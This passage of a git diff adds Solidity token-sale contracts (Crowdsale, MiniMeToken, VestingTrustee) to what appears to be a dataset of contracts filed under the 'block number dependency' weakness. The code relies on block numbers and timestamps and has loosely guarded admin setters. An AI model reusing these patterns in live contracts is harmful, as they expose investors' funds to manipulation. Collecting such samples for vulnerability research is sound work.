reserveWallet = _reserveWallet; + trustee = new VestingTrustee(erc20Token); + maxTokens = 1000000000 * (10 ** 18); + privateSaleTokensAvailable = maxTokens.mul(22).div(100); + publicTokensAvailable = maxTokens.mul(28).div(100); + super.addAddressToWhitelist(msg.sender); + + } + + function() public payable { + buyTokens(msg.sender, msg.value); + } + + function getStage() public constant returns(Stage) { + if (finalized) return Stage.Finalized; + if (!tiersInitialized || !Presale.hasStarted()) return Stage.Preparing; + if (!Presale.hasEnded()) return Stage.Presale; + if (Presale.hasEnded() && !hasStarted()) return Stage.PresaleFinished; + if (!hasEnded()) return Stage.PublicSale; + if (hasEnded()) return Stage.Success; + return Stage.Preparing; + } + + modifier inStage(Stage _stage) { + require(getStage() == _stage); + _; + } + + + + function initTiers(uint256[] rates, uint256[] totalWeis) public onlyWhitelisted returns(uint256) { + require(token.controller() == address(this)); + require(!tiersInitialized); + require(rates.length == totalTiers && rates.length == totalWeis.length); + uint256 tierMax = 0; + + for (uint8 i=0; i < totalTiers; i++) { + + require(totalWeis[i] > 0 && rates[i] > 0); + + tierMax = tierMax.add(totalWeis[i]); + tiers[i] = Tier({ + rate: rates[i], + max: tierMax + }); + } + + require(tierMax == cap); + tiersInitialized = true; + return tierMax; + } + + + function setCapForParticipants(address[] participants, uint256[] caps) onlyWhitelisted public { + require(participants.length <= 50 && participants.length == caps.length); + for (uint8 i=0; i < participants.length; i++) { + investorCaps[participants[i]] = caps[i]; + } + } + + + function addGrant(address assignee, uint256 value, bool isFounder) public onlyWhitelisted whenNotPaused { + require(value > 0); + require(assignee != address(0)); + uint256 start; + uint256 cliff; + uint256 vestingPercentage; + uint256 initialTokens; + if(isFounder) { + start = now; + cliff = start + 12*30 days; + vestingPercentage = 20; + founders.push(assignee); + } + else { + + + initialTokens = value.mul(10).div(100); + transferTokens(assignee, initialTokens); + start = now; + cliff = start + 6*30 days; + vestingPercentage = 15; + advisors.push(assignee); + } + + uint256 end = now + 3 * 1 years; + uint256 installmentLength = 6 * 30 days; + bool revokable = true; + transferTokens(trustee, value.sub(initialTokens)); + trustee.grant(assignee, value, start, cliff, end, installmentLength, vestingPercentage, initialTokens, revokable); + } + + + function finalize() public onlyWhitelisted inStage(Stage.Success) { + require(!finalized); + + trustee.transferOwnership(msg.sender); + + token.enableTransfers(true); + + uint256 unsold = maxTokens.sub(token.totalSupply()); + transferTokens(reserveWallet, unsold); + + + + token.changeController(0x0); + finalized = true; + } + + + function startPublicSale(uint _startTime, uint _duration) public onlyWhitelisted inStage(Stage.PresaleFinished) { + require(_startTime >= now); + require(_duration > 0); + startTime = _startTime; + endTime = _startTime + _duration * 1 days; + publicSaleInitialized = true; + } + + + function totalWei() public constant returns(uint256) { + uint256 presaleWei = super.totalWei(); + return presaleWei.add(weiRaised); + } + + function totalPublicSaleWei() public constant returns(uint256) { + return weiRaised; + } + + function totalCap() public constant returns(uint256) { + uint256 presaleCap = super.totalCap(); + return presaleCap.add(cap); + } + + + + function totalTokens() public constant returns(uint256) { + return tokensSold; + } + + + function buyTokens(address purchaser, uint256 value) internal whenNotPaused returns(uint256) { + require(value > 0); + Stage stage = getStage(); + require(stage == Stage.Presale || stage == Stage.PublicSale); + + + uint256 purchaseAmount = Math.min256(value, investorCaps[purchaser].sub(contributions[purchaser])); + require(purchaseAmount > 0); + uint256 numTokens; + + + if (stage == Stage.Presale) { + if (Presale.totalWei().add(purchaseAmount) > Presale.totalCap()) { + purchaseAmount = Presale.capRemaining(); + } + numTokens = Presale.buyTokens(purchaser, purchaseAmount); + } else if (stage == Stage.PublicSale) { + + uint totalWei = weiRaised.add(purchaseAmount); + uint8 currentTier = getTier(weiRaised); + if (totalWei >= cap) { + totalWei = cap; + + purchaseAmount = cap.sub(weiRaised); + } + + + + if (totalWei <= tiers[currentTier].max) { + numTokens = purchaseAmount.mul(tiers[currentTier].rate); + } else { + + uint remaining = tiers[currentTier].max.sub(weiRaised); + numTokens = remaining.mul(tiers[currentTier].rate); + + + uint256 excess = totalWei.sub(tiers[currentTier].max); + + numTokens = numTokens.add(excess.mul(tiers[currentTier + 1].rate)); + } + + + weiRaised = weiRaised.add(purchaseAmount); + } + + + require(tokensSold.add(numTokens) <= publicTokensAvailable); + tokensSold = tokensSold.add(numTokens); + + + forwardFunds(purchaser, purchaseAmount); + + transferTokens(purchaser, numTokens); + + + if (value.sub(purchaseAmount) > 0) { + msg.sender.transfer(value.sub(purchaseAmount)); + } + + + TokenPurchase(purchaser, numTokens, purchaseAmount); + + return numTokens; + } + + + + function forwardFunds(address purchaser, uint256 value) internal { + + if (contributions[purchaser] == 0) { + investors.push(purchaser); + } + + contributions[purchaser] = contributions[purchaser].add(value); + wallet.transfer(value); + } + + function changeEndTime(uint _endTime) public onlyWhitelisted { + endTime = _endTime; + } + + function changeFundsWallet(address _newWallet) public onlyWhitelisted { + require(_newWallet != address(0)); + wallet = _newWallet; + } + + function changeTokenController() onlyWhitelisted public { + token.changeController(msg.sender); + } + + function changeTrusteeOwner() onlyWhitelisted public { + trustee.transferOwnership(msg.sender); + } + function changeReserveWallet(address _reserve) public onlyWhitelisted { + require(_reserve != address(0)); + reserveWallet = _reserve; + } + + function setWhitelistAddress(address _whitelist) public onlyWhitelisted { + require(_whitelist != address(0)); + whitelistAddress = _whitelist; + } + + function transferTokens(address to, uint256 value) internal { + token.generateTokens(to, value); + } + + function sendPrivateSaleTokens(address to, uint256 value) public whenNotPaused onlyWhitelisted { + require(privateSaleTokensSold.add(value) <= privateSaleTokensAvailable); + privateSaleTokensSold = privateSaleTokensSold.add(value); + transferTokens(to, value); + } + + function hasEnded() internal constant returns(bool) { + return now > endTime || weiRaised >= cap; + } + + function hasStarted() internal constant returns(bool) { + return publicSaleInitialized && now >= startTime; + } + + function getTier(uint256 _weiRaised) internal constant returns(uint8) { + for (uint8 i = 0; i < totalTiers; i++) { + if (_weiRaised < tiers[i].max) { + return i; + } + } + + return totalTiers + 1; + } + + + + function getCurrentTier() public constant returns(uint8) { + return getTier(weiRaised); + } + + + + function proxyPayment(address _owner) public payable returns(bool) { + return true; + } + + function onApprove(address _owner, address _spender, uint _amount) public returns(bool) { + return true; + } + + function onTransfer(address _from, address _to, uint _amount) public returns(bool) { + return true; + } + + function getTokenSaleTime() public constant returns(uint256, uint256) { + return (startTime, endTime); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/3290.sol b/smart_contract_dataset/block number dependency/3290.sol new file mode 100644 index 0000000000000000000000000000000000000000..827f3e4f7fc0ce6a3ea0e7290e316816f746ebcf --- /dev/null +++ b/smart_contract_dataset/block number dependency/3290.sol @@ -0,0 +1,1391 @@ +pragma solidity 0.4.18; + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public constant returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public constant returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + +library SafeMath { + function mul(uint256 a, uint256 b) internal constant returns (uint256) { + uint256 c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal constant returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal constant returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal constant returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + + +library Math { + function max64(uint64 a, uint64 b) internal constant returns (uint64) { + return a >= b ? a : b; + } + + function min64(uint64 a, uint64 b) internal constant returns (uint64) { + return a < b ? a : b; + } + + function max256(uint256 a, uint256 b) internal constant returns (uint256) { + return a >= b ? a : b; + } + + function min256(uint256 a, uint256 b) internal constant returns (uint256) { + return a < b ? a : b; + } +} + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) onlyOwner public { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused() { + require(paused); + _; + } + + + function pause() onlyOwner whenNotPaused public { + paused = true; + Pause(); + } + + + function unpause() onlyOwner whenPaused public { + paused = false; + Unpause(); + } +} + +contract Presale { + + using SafeMath for uint256; + uint256 private weiRaised; + uint256 private startTime; + uint256 private endTime; + uint256 private rate; + + uint256 private cap; + + function Presale(uint256 _startTime, uint256 duration, uint256 _rate, uint256 _cap) public { + require(_rate > 0); + require(_cap > 0); + require(_startTime >= now); + require(duration > 0); + + rate = _rate; + cap = _cap; + startTime = _startTime; + endTime = startTime + duration * 1 days; + weiRaised = 0; + } + + function totalWei() public constant returns(uint256) { + return weiRaised; + } + + function capRemaining() public constant returns(uint256) { + return cap.sub(weiRaised); + } + + function totalCap() public constant returns(uint256) { + return cap; + } + + function buyTokens(address purchaser, uint256 value) internal returns(uint256) { + require(validPurchase(value)); + uint256 tokens = rate.mul(value); + weiRaised = weiRaised.add(value); + return tokens; + } + + function hasEnded() internal constant returns(bool) { + return now > endTime || weiRaised >= cap; + } + + function hasStarted() internal constant returns(bool) { + return now > startTime; + } + + function validPurchase(uint256 value) internal view returns (bool) { + bool withinCap = weiRaised.add(value) <= cap; + return withinCap && withinPeriod(); + } + + function presaleRate() public view returns(uint256) { + return rate; + } + + function withinPeriod () private constant returns(bool) { + return now >= startTime && now <= endTime; + } +} + + +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + assert(token.transfer(to, value)); + } + + function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { + assert(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + assert(token.approve(spender, value)); + } +} + + +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + + +contract VestingTrustee is Ownable, CanReclaimToken { + using SafeMath for uint256; + + + ERC20 public token; + + + struct Grant { + uint256 value; + uint256 start; + uint256 cliff; + uint256 end; + uint256 installmentLength; + uint256 transferred; + bool revokable; + uint256 prevested; + uint256 vestingPercentage; + } + + + mapping (address => Grant) public grants; + + + uint256 public totalVesting; + + event NewGrant(address indexed _from, address indexed _to, uint256 _value); + event TokensUnlocked(address indexed _to, uint256 _value); + event GrantRevoked(address indexed _holder, uint256 _refund); + + + + function VestingTrustee(address _token) { + require(_token != address(0)); + + token = ERC20(_token); + } + + + + + + + + + + function grant(address _to, uint256 _value, uint256 _start, uint256 _cliff, uint256 _end, + uint256 _installmentLength, uint256 vestingPercentage, uint256 prevested, bool _revokable) + external onlyOwner { + + require(_to != address(0)); + require(_to != address(this)); + require(_value > 0); + require(_value.sub(prevested) > 0); + require(vestingPercentage > 0); + + + require(grants[_to].value == 0); + + + require(_start <= _cliff && _cliff <= _end); + + + require(_installmentLength > 0 && _installmentLength <= _end.sub(_start)); + + + require(totalVesting.add(_value.sub(prevested)) <= token.balanceOf(address(this))); + + + grants[_to] = Grant({ + value: _value, + start: _start, + cliff: _cliff, + end: _end, + installmentLength: _installmentLength, + transferred: prevested, + revokable: _revokable, + prevested: prevested, + vestingPercentage: vestingPercentage + }); + + totalVesting = totalVesting.add(_value.sub(prevested)); + NewGrant(msg.sender, _to, _value); + } + + + + function revoke(address _holder) public onlyOwner { + Grant memory grant = grants[_holder]; + + + require(grant.revokable); + + + + uint256 refund = grant.value.sub(grant.transferred); + + + delete grants[_holder]; + + + totalVesting = totalVesting.sub(refund); + token.transfer(msg.sender, refund); + + GrantRevoked(_holder, refund); + } + + + + + + function vestedTokens(address _holder, uint256 _time) external constant returns (uint256) { + Grant memory grant = grants[_holder]; + if (grant.value == 0) { + return 0; + } + + return calculateVestedTokens(grant, _time); + } + + + + + + function calculateVestedTokens(Grant _grant, uint256 _time) private constant returns (uint256) { + + if (_time < _grant.cliff) { + return _grant.prevested; + } + + + if (_time >= _grant.end) { + return _grant.value; + } + + + uint256 installmentsPast = _time.sub(_grant.cliff).div(_grant.installmentLength) + 1; + + + + return _grant.prevested.add(_grant.value.mul(installmentsPast.mul(_grant.vestingPercentage)).div(100)); + } + + + + function unlockVestedTokens() external { + Grant storage grant = grants[msg.sender]; + + + require(grant.value != 0); + + + uint256 vested = calculateVestedTokens(grant, now); + if (vested == 0) { + revert(); + } + + + uint256 transferable = vested.sub(grant.transferred); + if (transferable == 0) { + revert(); + } + + grant.transferred = grant.transferred.add(transferable); + totalVesting = totalVesting.sub(transferable); + token.transfer(msg.sender, transferable); + TokensUnlocked(msg.sender, transferable); + } + + function reclaimEther() external onlyOwner { + assert(owner.send(this.balance)); + } +} + +contract Controlled { + + + modifier onlyController { require(msg.sender == controller); _; } + + address public controller; + + function Controlled() public { controller = msg.sender;} + + + + function changeController(address _newController) public onlyController { + controller = _newController; + } +} + + +contract TokenController { + + + + function proxyPayment(address _owner) public payable returns(bool); + + + + + + + + function onTransfer(address _from, address _to, uint _amount) public returns(bool); + + + + + + + + function onApprove(address _owner, address _spender, uint _amount) public + returns(bool); +} + + + + + + + + + + + + + + +contract ApproveAndCallFallBack { + function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; +} + + + + +contract MiniMeToken is Controlled { + + string public name; + uint8 public decimals; + string public symbol; + string public version = 'MMT_0.2'; + + + + + + struct Checkpoint { + + + uint128 fromBlock; + + + uint128 value; + } + + + + MiniMeToken public parentToken; + + + + uint public parentSnapShotBlock; + + + uint public creationBlock; + + + + + mapping (address => Checkpoint[]) balances; + + + mapping (address => mapping (address => uint256)) allowed; + + + Checkpoint[] totalSupplyHistory; + + + bool public transfersEnabled; + + + MiniMeTokenFactory public tokenFactory; + + + + + + + + + + + + + + + + + + + function MiniMeToken( + address _tokenFactory, + address _parentToken, + uint _parentSnapShotBlock, + string _tokenName, + uint8 _decimalUnits, + string _tokenSymbol, + bool _transfersEnabled + ) public { + tokenFactory = MiniMeTokenFactory(_tokenFactory); + name = _tokenName; + decimals = _decimalUnits; + symbol = _tokenSymbol; + parentToken = MiniMeToken(_parentToken); + parentSnapShotBlock = _parentSnapShotBlock; + transfersEnabled = _transfersEnabled; + creationBlock = block.number; + } + + + + + + + + + + + function transfer(address _to, uint256 _amount) public returns (bool success) { + require(transfersEnabled); + doTransfer(msg.sender, _to, _amount); + return true; + } + + + + + + + + function transferFrom(address _from, address _to, uint256 _amount + ) public returns (bool success) { + + + + + + if (msg.sender != controller) { + require(transfersEnabled); + + + require(allowed[_from][msg.sender] >= _amount); + allowed[_from][msg.sender] -= _amount; + } + doTransfer(_from, _to, _amount); + return true; + } + + + + + + + + function doTransfer(address _from, address _to, uint _amount + ) internal { + + if (_amount == 0) { + Transfer(_from, _to, _amount); + return; + } + + require(parentSnapShotBlock < block.number); + + + require((_to != 0) && (_to != address(this))); + + + + var previousBalanceFrom = balanceOfAt(_from, block.number); + + require(previousBalanceFrom >= _amount); + + + if (isContract(controller)) { + require(TokenController(controller).onTransfer(_from, _to, _amount)); + } + + + + updateValueAtNow(balances[_from], previousBalanceFrom - _amount); + + + + var previousBalanceTo = balanceOfAt(_to, block.number); + require(previousBalanceTo + _amount >= previousBalanceTo); + updateValueAtNow(balances[_to], previousBalanceTo + _amount); + + + Transfer(_from, _to, _amount); + + } + + + + function balanceOf(address _owner) public constant returns (uint256 balance) { + return balanceOfAt(_owner, block.number); + } + + + + + + + + function approve(address _spender, uint256 _amount) public returns (bool success) { + require(transfersEnabled); + + + + + + require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); + + + if (isContract(controller)) { + require(TokenController(controller).onApprove(msg.sender, _spender, _amount)); + } + + allowed[msg.sender][_spender] = _amount; + Approval(msg.sender, _spender, _amount); + return true; + } + + + + + + + function allowance(address _owner, address _spender + ) public constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + + + + + + + + function approveAndCall(address _spender, uint256 _amount, bytes _extraData + ) public returns (bool success) { + require(approve(_spender, _amount)); + + ApproveAndCallFallBack(_spender).receiveApproval( + msg.sender, + _amount, + this, + _extraData + ); + + return true; + } + + + + function totalSupply() public constant returns (uint) { + return totalSupplyAt(block.number); + } + + + + + + + + + + + function balanceOfAt(address _owner, uint _blockNumber) public constant + returns (uint) { + + + + + + + if ((balances[_owner].length == 0) + || (balances[_owner][0].fromBlock > _blockNumber)) { + if (address(parentToken) != 0) { + return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); + } else { + + return 0; + } + + + } else { + return getValueAt(balances[_owner], _blockNumber); + } + } + + + + + function totalSupplyAt(uint _blockNumber) public constant returns(uint) { + + + + + + + if ((totalSupplyHistory.length == 0) + || (totalSupplyHistory[0].fromBlock > _blockNumber)) { + if (address(parentToken) != 0) { + return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); + } else { + return 0; + } + + + } else { + return getValueAt(totalSupplyHistory, _blockNumber); + } + } + + + + + + + + + + + + + + + + function createCloneToken( + string _cloneTokenName, + uint8 _cloneDecimalUnits, + string _cloneTokenSymbol, + uint _snapshotBlock, + bool _transfersEnabled + ) public returns(address) { + if (_snapshotBlock == 0) _snapshotBlock = block.number; + MiniMeToken cloneToken = tokenFactory.createCloneToken( + this, + _snapshotBlock, + _cloneTokenName, + _cloneDecimalUnits, + _cloneTokenSymbol, + _transfersEnabled + ); + + cloneToken.changeController(msg.sender); + + + NewCloneToken(address(cloneToken), _snapshotBlock); + return address(cloneToken); + } + + + + + + + + + + function generateTokens(address _owner, uint _amount + ) public onlyController returns (bool) { + uint curTotalSupply = totalSupply(); + require(curTotalSupply + _amount >= curTotalSupply); + uint previousBalanceTo = balanceOf(_owner); + require(previousBalanceTo + _amount >= previousBalanceTo); + updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); + updateValueAtNow(balances[_owner], previousBalanceTo + _amount); + Transfer(0, _owner, _amount); + return true; + } + + + + + + + function destroyTokens(address _owner, uint _amount + ) onlyController public returns (bool) { + uint curTotalSupply = totalSupply(); + require(curTotalSupply >= _amount); + uint previousBalanceFrom = balanceOf(_owner); + require(previousBalanceFrom >= _amount); + updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); + updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); + Transfer(_owner, 0, _amount); + return true; + } + + + + + + + + + function enableTransfers(bool _transfersEnabled) public onlyController { + transfersEnabled = _transfersEnabled; + } + + + + + + + + + + function getValueAt(Checkpoint[] storage checkpoints, uint _block + ) constant internal returns (uint) { + if (checkpoints.length == 0) return 0; + + + if (_block >= checkpoints[checkpoints.length-1].fromBlock) + return checkpoints[checkpoints.length-1].value; + if (_block < checkpoints[0].fromBlock) return 0; + + + uint min = 0; + uint max = checkpoints.length-1; + while (max > min) { + uint mid = (max + min + 1)/ 2; + if (checkpoints[mid].fromBlock<=_block) { + min = mid; + } else { + max = mid-1; + } + } + return checkpoints[min].value; + } + + + + + + function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value + ) internal { + if ((checkpoints.length == 0) + || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { + Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; + newCheckPoint.fromBlock = uint128(block.number); + newCheckPoint.value = uint128(_value); + } else { + Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; + oldCheckPoint.value = uint128(_value); + } + } + + + + + function isContract(address _addr) constant internal returns(bool) { + uint size; + if (_addr == 0) return false; + assembly { + size := extcodesize(_addr) + } + return size>0; + } + + + function min(uint a, uint b) pure internal returns (uint) { + return a < b ? a : b; + } + + + + + function () public payable { + require(isContract(controller)); + require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender)); + } + + + + + + + + + + function claimTokens(address _token) public onlyController { + if (_token == 0x0) { + controller.transfer(this.balance); + return; + } + + MiniMeToken token = MiniMeToken(_token); + uint balance = token.balanceOf(this); + token.transfer(controller, balance); + ClaimedTokens(_token, controller, balance); + } + + + + + event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); + event Transfer(address indexed _from, address indexed _to, uint256 _amount); + event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); + event Approval( + address indexed _owner, + address indexed _spender, + uint256 _amount + ); + +} + + + + + + + + + +contract MiniMeTokenFactory { + + + + + + + + + + + + function createCloneToken( + address _parentToken, + uint _snapshotBlock, + string _tokenName, + uint8 _decimalUnits, + string _tokenSymbol, + bool _transfersEnabled + ) public returns (MiniMeToken) { + MiniMeToken newToken = new MiniMeToken( + this, + _parentToken, + _snapshotBlock, + _tokenName, + _decimalUnits, + _tokenSymbol, + _transfersEnabled + ); + + newToken.changeController(msg.sender); + return newToken; + } +} + + +contract Whitelist is Ownable { + mapping(address => bool) public whitelist; + + event WhitelistedAddressAdded(address addr); + event WhitelistedAddressRemoved(address addr); + + + modifier onlyWhitelisted() { + require(whitelist[msg.sender]); + _; + } + + + function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) { + if (!whitelist[addr]) { + whitelist[addr] = true; + WhitelistedAddressAdded(addr); + success = true; + } + } + + + function addAddressesToWhitelist(address[] addrs) onlyOwner public returns(bool success) { + for (uint256 i = 0; i < addrs.length; i++) { + if (addAddressToWhitelist(addrs[i])) { + success = true; + } + } + } + + + function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) { + if (whitelist[addr]) { + whitelist[addr] = false; + WhitelistedAddressRemoved(addr); + success = true; + } + } + + + function removeAddressesFromWhitelist(address[] addrs) onlyOwner public returns(bool success) { + for (uint256 i = 0; i < addrs.length; i++) { + if (removeAddressFromWhitelist(addrs[i])) { + success = true; + } + } + } + +} + +contract Crowdsale is Presale, Pausable, CanReclaimToken, Whitelist { + + using SafeMath for uint256; + address public whitelistAddress; + address public wallet; + MiniMeToken public token; + uint256 private weiRaised = 0; + uint256 private cap = 0; + bool private publicSaleInitialized = false; + bool private finalized = false; + uint256 private tokensSold = 0; + uint256 private startTime; + uint256 private endTime; + uint256 public maxTokens; + mapping(address => uint256) public contributions; + mapping(address => uint256) public investorCaps; + address[] public investors; + address[] public founders; + address[] public advisors; + VestingTrustee public trustee; + address public reserveWallet; + + + + struct Tier { + uint256 rate; + uint256 max; + } + + uint public privateSaleTokensAvailable; + uint public privateSaleTokensSold = 0; + uint public publicTokensAvailable; + + uint8 public totalTiers = 0; + bool public tiersInitialized = false; + uint256 public maxTiers = 6; + Tier[6] public tiers; + + event TokenPurchase(address indexed purchaser, uint256 value, uint256 amount); + enum Stage { Preparing, Presale, PresaleFinished, PublicSale, Success, Finalized } + + function Crowdsale( + uint256 _presaleStartTime, + uint256 _presaleDuration, + uint256 _presaleRate, + uint256 _presaleCap, + address erc20Token, + address _wallet, + uint8 _tiers, + uint256 _cap, + address _reserveWallet) + public + Presale(_presaleStartTime, _presaleDuration, _presaleRate, _presaleCap) + { + require(_wallet != address(0)); + require(erc20Token != address(0)); + require(_tiers > 0 && _tiers <= maxTiers); + require(_cap > 0); + require(_reserveWallet != address(0)); + token = MiniMeToken(erc20Token); + wallet = _wallet; + totalTiers = _tiers; + cap = _cap; + reserveWallet = _reserveWallet; + trustee = new VestingTrustee(erc20Token); + maxTokens = 1000000000 * (10 ** 18); + privateSaleTokensAvailable = maxTokens.mul(22).div(100); + publicTokensAvailable = maxTokens.mul(28).div(100); + super.addAddressToWhitelist(msg.sender); + + } + + function() public payable { + buyTokens(msg.sender, msg.value); + } + + function getStage() public constant returns(Stage) { + if (finalized) return Stage.Finalized; + if (!tiersInitialized || !Presale.hasStarted()) return Stage.Preparing; + if (!Presale.hasEnded()) return Stage.Presale; + if (Presale.hasEnded() && !hasStarted()) return Stage.PresaleFinished; + if (!hasEnded()) return Stage.PublicSale; + if (hasEnded()) return Stage.Success; + return Stage.Preparing; + } + + modifier inStage(Stage _stage) { + require(getStage() == _stage); + _; + } + + + + function initTiers(uint256[] rates, uint256[] totalWeis) public onlyWhitelisted returns(uint256) { + require(token.controller() == address(this)); + require(!tiersInitialized); + require(rates.length == totalTiers && rates.length == totalWeis.length); + uint256 tierMax = 0; + + for (uint8 i=0; i < totalTiers; i++) { + + require(totalWeis[i] > 0 && rates[i] > 0); + + tierMax = tierMax.add(totalWeis[i]); + tiers[i] = Tier({ + rate: rates[i], + max: tierMax + }); + } + + require(tierMax == cap); + tiersInitialized = true; + return tierMax; + } + + + function setCapForParticipants(address[] participants, uint256[] caps) onlyWhitelisted public { + require(participants.length <= 50 && participants.length == caps.length); + for (uint8 i=0; i < participants.length; i++) { + investorCaps[participants[i]] = caps[i]; + } + } + + + function addGrant(address assignee, uint256 value, bool isFounder) public onlyWhitelisted whenNotPaused { + require(value > 0); + require(assignee != address(0)); + uint256 start; + uint256 cliff; + uint256 vestingPercentage; + uint256 initialTokens; + if(isFounder) { + start = now; + cliff = start + 12*30 days; + vestingPercentage = 20; + founders.push(assignee); + } + else { + + + initialTokens = value.mul(10).div(100); + transferTokens(assignee, initialTokens); + start = now; + cliff = start + 6*30 days; + vestingPercentage = 15; + advisors.push(assignee); + } + + uint256 end = now + 3 * 1 years; + uint256 installmentLength = 6 * 30 days; + bool revokable = true; + transferTokens(trustee, value.sub(initialTokens)); + trustee.grant(assignee, value, start, cliff, end, installmentLength, vestingPercentage, initialTokens, revokable); + } + + + function finalize() public onlyWhitelisted inStage(Stage.Success) { + require(!finalized); + + trustee.transferOwnership(msg.sender); + + token.enableTransfers(true); + + uint256 unsold = maxTokens.sub(token.totalSupply()); + transferTokens(reserveWallet, unsold); + + + + token.changeController(0x0); + finalized = true; + } + + + function startPublicSale(uint _startTime, uint _duration) public onlyWhitelisted inStage(Stage.PresaleFinished) { + require(_startTime >= now); + require(_duration > 0); + startTime = _startTime; + endTime = _startTime + _duration * 1 days; + publicSaleInitialized = true; + } + + + function totalWei() public constant returns(uint256) { + uint256 presaleWei = super.totalWei(); + return presaleWei.add(weiRaised); + } + + function totalPublicSaleWei() public constant returns(uint256) { + return weiRaised; + } + + function totalCap() public constant returns(uint256) { + uint256 presaleCap = super.totalCap(); + return presaleCap.add(cap); + } + + + + function totalTokens() public constant returns(uint256) { + return tokensSold; + } + + + function buyTokens(address purchaser, uint256 value) internal whenNotPaused returns(uint256) { + require(value > 0); + Stage stage = getStage(); + require(stage == Stage.Presale || stage == Stage.PublicSale); + + + uint256 purchaseAmount = Math.min256(value, investorCaps[purchaser].sub(contributions[purchaser])); + require(purchaseAmount > 0); + uint256 numTokens; + + + if (stage == Stage.Presale) { + if (Presale.totalWei().add(purchaseAmount) > Presale.totalCap()) { + purchaseAmount = Presale.capRemaining(); + } + numTokens = Presale.buyTokens(purchaser, purchaseAmount); + } else if (stage == Stage.PublicSale) { + + uint totalWei = weiRaised.add(purchaseAmount); + uint8 currentTier = getTier(weiRaised); + if (totalWei >= cap) { + totalWei = cap; + + purchaseAmount = cap.sub(weiRaised); + } + + + + if (totalWei <= tiers[currentTier].max) { + numTokens = purchaseAmount.mul(tiers[currentTier].rate); + } else { + + uint remaining = tiers[currentTier].max.sub(weiRaised); + numTokens = remaining.mul(tiers[currentTier].rate); + + + uint256 excess = totalWei.sub(tiers[currentTier].max); + + numTokens = numTokens.add(excess.mul(tiers[currentTier + 1].rate)); + } + + + weiRaised = weiRaised.add(purchaseAmount); + } + + + require(tokensSold.add(numTokens) <= publicTokensAvailable); + tokensSold = tokensSold.add(numTokens); + + + forwardFunds(purchaser, purchaseAmount); + + transferTokens(purchaser, numTokens); + + + if (value.sub(purchaseAmount) > 0) { + msg.sender.transfer(value.sub(purchaseAmount)); + } + + + TokenPurchase(purchaser, numTokens, purchaseAmount); + + return numTokens; + } + + + + function forwardFunds(address purchaser, uint256 value) internal { + + if (contributions[purchaser] == 0) { + investors.push(purchaser); + } + + contributions[purchaser] = contributions[purchaser].add(value); + wallet.transfer(value); + } + + function changeEndTime(uint _endTime) public onlyWhitelisted { + endTime = _endTime; + } + + function changeFundsWallet(address _newWallet) public onlyWhitelisted { + require(_newWallet != address(0)); + wallet = _newWallet; + } + + function changeTokenController() onlyWhitelisted public { + token.changeController(msg.sender); + } + + function changeTrusteeOwner() onlyWhitelisted public { + trustee.transferOwnership(msg.sender); + } + function changeReserveWallet(address _reserve) public onlyWhitelisted { + require(_reserve != address(0)); + reserveWallet = _reserve; + } + + function setWhitelistAddress(address _whitelist) public onlyWhitelisted { + require(_whitelist != address(0)); + whitelistAddress = _whitelist; + } + + function transferTokens(address to, uint256 value) internal { + token.generateTokens(to, value); + } + + function sendPrivateSaleTokens(address to, uint256 value) public whenNotPaused onlyWhitelisted { + require(privateSaleTokensSold.add(value) <= privateSaleTokensAvailable); + privateSaleTokensSold = privateSaleTokensSold.add(value); + transferTokens(to, value); + } + + function hasEnded() internal constant returns(bool) { + return now > endTime || weiRaised >= cap; + } + + function hasStarted() internal constant returns(bool) { + return publicSaleInitialized && now >= startTime; + } + + function getTier(uint256 _weiRaised) internal constant returns(uint8) { + for (uint8 i = 0; i < totalTiers; i++) { + if (_weiRaised < tiers[i].max) { + return i; + } + } + + return totalTiers + 1; + } + + + + function getCurrentTier() public constant returns(uint8) { + return getTier(weiRaised); + } + + + + function proxyPayment(address _owner) public payable returns(bool) { + return true; + } + + function onApprove(address _owner, address _spender, uint _amount) public returns(bool) { + return true; + } + + function onTransfer(address _from, address _to, uint _amount) public returns(bool) { + return true; + } + + function getTokenSaleTime() public constant returns(uint256, uint256) 